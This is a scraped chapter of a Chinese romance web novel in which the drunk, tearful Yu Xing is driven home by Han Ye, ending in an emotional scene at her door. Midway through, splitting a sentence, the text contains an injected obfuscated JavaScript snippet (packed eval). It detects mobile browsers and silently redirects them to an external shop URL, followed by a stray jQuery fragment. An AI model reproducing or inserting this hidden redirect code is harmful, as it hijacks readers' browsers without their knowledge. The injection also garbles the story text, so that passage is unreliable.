文趣网 > 都市小说 > 仍望星 > 30. 第 30 章
    周二,郁星结束出差,回画室和尹绚同步接下来的安排。公事聊完,尹绚从冰箱里拿出一提啤酒。

    “你今天不用去医院吗?”

    郁星有些惊讶地问尹绚。

    方老师年前在ICU住了半个月,万幸最后挺了过来。现在方老师住院接受后续治疗,尹绚一般白天在画室画画,晚上去医院守夜。

    “方老师最近状态不错,我放两天假。”

    面对看护病人这个长线作战,尹绚心态也逐渐变得平稳。他在L型沙发的另一边坐下,撬开一瓶啤酒放到郁星面前。

    “今晚你应该有空吧?”

    “有空是有空,但是我最近连轴转,快累死了。”

    郁星把散落的刘海捋到耳后,望着啤酒瓶苦笑。

    尹绚仰头灌进一大口啤酒,冰凉一路落尽胃里,他凉凉调侃:“不仅工作连轴转,感情也连轴转吧?”

    郁星震惊得瞪大眼睛。

    “你讽刺我!”

    她不可置信地指着尹绚晃手指,“你竟然讽刺我!”

    “不敢不敢,就是听到了一些八卦。”

    尹绚笑起来,歪倒在沙发上,撑起胳膊看向郁星。

    “你就只跟我说,你到底对谁有意思?”

    自己这点破事竟然能让万事不挂心的尹绚也操起心来,也是难得。

    可自己要是知道该怎么办,又怎么会两头不落地烦恼到今天?

    郁星哑口无言,有点郁闷地拿起了啤酒瓶。

    郁星只喝酒不说话,尹绚见她不搭腔,笑着又道:“其实我就想跟你说,我不管你最后选不选何兆诚,你都不用顾虑我们和他的合作。”

    郁星猝不及防地呛了口酒。

    “打个工而已,我不至于为了你把自己搭进去哈。”

    她嫌弃地一瞥尹绚。

    郁星话说得不客气,尹绚倒放下心来。

    “那就好。”

    尹绚笑着把酒瓶伸到郁星跟前,郁星斜眼看他一眼,看上去有点不情愿,但快速地跟他碰了下杯。

    以前在国外,每次碰到高兴的事,比如画被选进展览了、卖画的钱到账了、达成一致做下了重要的决定的时候,尹绚和郁星都会像这样一边喝酒,一边聊天。

    也只有在这种时候,一向公私分明的郁星,会一改平常严肃冷静的模样,掏心窝子地和尹绚说些情绪上头的话。

    一瓶啤酒见底,尹绚兴奋起来,又开了瓶洋酒。

    郁星明天要去ZART开会,因此当尹绚把倒了洋酒的玻璃杯递给她时,她坚决地摆了摆手。

    但耐不住这些天压力实在大得过载,又无人可以诉说。

    平心而论,郁星的酒量差得令人发指。

    不过两个半杯,她便已脸颊绯红,东倒西歪。

    扔在茶几上的手机屏幕亮起,郁星抱着靠着坐在地毯上,把手机扒拉过来看到是品牌发的广告短信,一扬手便把手机扔到了地上。

    “不是他。”

    郁星有些失望地叹口气,拿起玻璃杯抿口琥珀色的酒液,转头竟然红了眼眶。

    郁星的脸要哭不哭地皱成一团,尹绚莫名其妙,但赶紧把抽纸盒扔了过去。

    “下班了吗?休息了吗?周末要不要出来放松一下?”

    “这些话只有他会跟我说。”

    抽纸盒在地上咕噜噜滚了一圈,郁星呆愣愣地抽出两张纸摁在自己的眼睛上,看到泪水很快便濡湿了纸巾,自己都觉得不可思议。

    “平常谁会关心我的死活?就算我给你加班熬通宵,累得快要死了,你也从来不会问我这些话。”

    郁星委屈地瞪着尹绚控诉,尹绚无话可说地转过头,避开郁星的目光默默喝下了一口酒。

    “只有他会不断地问我这些话,好像我很重要似的。”

    郁星哽咽着把纸拧成一团,又自嘲地耸下肩。

    “好像我对他来说真的是什么似的。”

    时光纠缠地漫上脑海,郁星忽然想起了以前她每周去送韩叶做家教的事情。

    那段时间,她被无聊烦闷的工作压得喘不过气,她被徐漫森纠缠得精疲力尽,她小心地向母亲提出想辞职自己找工作,但被骂了个一无是处……

    在好像什么都拥有了,但其实一无所有的日子里,在周围人都羡慕她,但是她快要被一切逼疯的日子里,韩叶是她唯一拥有的一块浮木。

    “每次送他回学校,他都会跟我说谢谢,但是我从来没有跟他说,其实每个星期六要去见他的早晨,我的心情都会很好。”

    不知不觉,脑子里想的话喃喃说出了口,尹绚听得云里雾里,也无意再去追究。

    “而且……他好像完全不明白,我是因为他,才能撑过那段痛苦的时期。”

    眼泪飞快地湿透纸巾,郁星哭着趴到茶几上,眼泪大滴大滴地落到玻璃台面,她难过地用纸擦掉,但无济于事。

    “你知道吗?是因为他,我才能做下一走了之的决定。”

    “很可笑吧,竟然是他给了我伤害他的勇气。”

    郁星哭得乱七八糟,尹绚简直感觉她头上在下雨。

    “那你就接受他啊?你们两个之间又没有什么天理不容的阻碍。”

    尹绚洒脱,但郁星只是摇头。

    “怎么可以呢?”

    她声音一颤,眼泪又落下来。

    “他那么耀眼,那么优秀,而我……”

    “瞻前顾后,越是迟疑就越配不上他。”

    “神经。”

    “等人跑掉你就老实了。”

    尹绚无法理解郁星的纠结,郁星一头栽倒在茶几上,他喝掉玻璃杯里最后的一点酒,起身走到她跟前。

    “喂。”

    他轻搡郁星肩膀。

    郁星软绵绵地歪倒在沙发边,眨眼就人事不省,尹绚无语挠下头,从地上捡起郁星的手机,捏着她手指解开锁屏,又点开通讯录。

    翻到H字母,韩叶和何兆诚的名字挨在一起,尹绚手指上下犹豫了会儿,还是拨通了韩叶的电话。

    毕竟相比起何兆诚这个简单些的答案,他还是觉得韩叶这个难得郁星解不出来的题会更有意思。

    二十分钟后,韩叶赶到画室,郁星裹着毯子披头散发地睡在地毯上,尹绚靠着沙发看到韩叶来,悠哉清醒地给自己倒了一杯酒。

    “今天我要睡这儿,你帮忙把这家伙送回家吧。”

    尹绚喝下一口酒,一边要韩叶把郁星带走,一边还非常不顾郁星死活地用脚扒拉了她一下。

    韩叶皱眉站在门口,迟迟没有进门,他奇怪地看韩叶一眼,韩叶终于走进了屋子。

    韩叶走到郁星跟前蹲下,克制地拍下她肩膀,郁星烦乱挥手,想要扯开身上缠成一团的毯子,但又半天理不清楚。

    韩叶叹口气,认命般地帮郁星解开毯子,将她拦腰抱起。韩叶的动作轻柔小心,可想不到郁星恍若自觉地两手搂住韩叶的脖子,歪头依偎在了他颈边。

    韩叶的身体肉眼可见地瞬间僵硬,尹绚悄悄注视着韩叶精彩的脸色,忍不住想笑。

    “喏,还有这些,她车钥匙在包里。”

    尹绚忍着笑把郁星的包和风衣都交给韩叶,仿似这些该是他的责任。韩叶手忙脚乱地接过,郁星的长发撩在下巴撩得他发痒,他感觉有点狼狈。

    尹绚送韩叶到门口,顺便帮他扶住大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546253|204054||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    门。韩叶抱郁星出去,他友好而似漫不经心地说道:“她最近好像很辛苦。”

    不必尹绚提醒,韩叶看到郁星红肿的眼睛便知道她大哭了一场。

    只是……

    难道这也该他负责吗?

    他又好过到哪里去。

    韩叶沉默不语,尹绚感受到他抵抗似的态度,不禁想何兆诚果然是这三个人里最轻松自在,最体面从容的那一个。

    “今天谢谢你,再见。”

    他不再多话,笑着拍下韩叶的肩膀,便算作告别。

    头顶悬着的裸灯泡投下一大片黄色的暖光,韩叶抱着郁星小心翼翼地走下楼梯。

    一步,一步,灯光将两人交叠的影子拉得老长,郁星歪着头在韩叶怀里酣眠,仿佛对韩叶遭受的一切无知无觉。

    韩叶低头,郁星柔和温婉的脸庞飞着两团和她气质并不相符的红晕,她眉头微微拧起,呼吸也有些快,所以他也知道此刻她并不好受。

    郁星是醉得快,醒得也快的体质。

    春夜的风和软温柔,吹着也不觉冷。韩叶回家一路半开着车窗,郁星坐在车里,迷迷糊糊地感觉脸上的热度在逐渐退去。

    “是尹绚叫你来的吗?”

    车在停车场停下,郁星竭力想要抓住那一点若隐若现的理智,但脑袋开始隐隐作痛,她整个人还是如坠云端。

    “嗯。”

    韩叶轻轻答应一声,稍微倾向她这边帮她解开安全带,便下车绕到副驾为她拉开车门。

    敏锐地,郁星察觉到了韩叶的冷淡。

    “下车吧,我送你上去。”

    连声音听起来都好像有点不耐烦。

    韩叶扶着车门,郁星抬眸看向韩叶,心酸胀得连胸口都麻麻的,可也知道自己没有什么资格提出异议。

    郁星顺从地钻出车门,想要让自己表现得清醒一点,可血液里未散的酒精控制着她,她踩着高跟鞋,甚至有点走不稳路。

    韩叶叹息一声,沉默地伸手扶住郁星。

    电梯厢三面都是镜子,坐电梯的时候,郁星和韩叶相对而立,透过韩叶身后的镜子,她忽然很讨厌自己现在的样子。

    电梯停稳在21楼,韩叶把郁星送到家门口,他们不看对方,可都知道对方想到了上次在这里发生的事。

    “进去吧。”

    韩叶停在郁星家门口,有些刻意地和郁星保持距离,郁星靠在门上,心里被各种情绪塞得满满当当,但什么话都说不出来。

    “我……”

    “进去吧。”

    就在郁星鼓起勇气开口的瞬间,韩叶又催促了一遍。微弱的声音像烟花燃剩后的青烟默默消散,郁星眼神一黯,转身摁开了密码锁。

    韩叶站在门口,想等着郁星进门再走。郁星走进屋子,轻轻把门带上,门虚掩着没落到实处,他上前握住门把,想替她把门关上,门猛然从里面拉开。

    两人相隔不过一臂的距离,韩叶猝不及防,站在门外怔怔看着郁星,郁星在门里激切地望着他,她的眼睛炙热而明亮,叫他不自觉屏住了呼吸。

    “你要走吗?”

    “韩叶,你要走吗?!”

    郁星的声音颤抖急切,仿佛他在做一件她不可容忍的事。

    台风过境的时候,总有东西被风卷着在空中撕扯。对于郁星而言,这些天来挤压的一切,此刻就正在她心里混乱纠缠地狂舞。

    她不知道自己在做什么,她感觉像是终于松了口气,但看到韩叶不知所措的神情,她又觉得羞耻和悲哀。

    “不要这样看我,不要!”

    眼泪夺眶而出,她难以承受地捂住脸,同时不由分说地把韩叶拉进门里。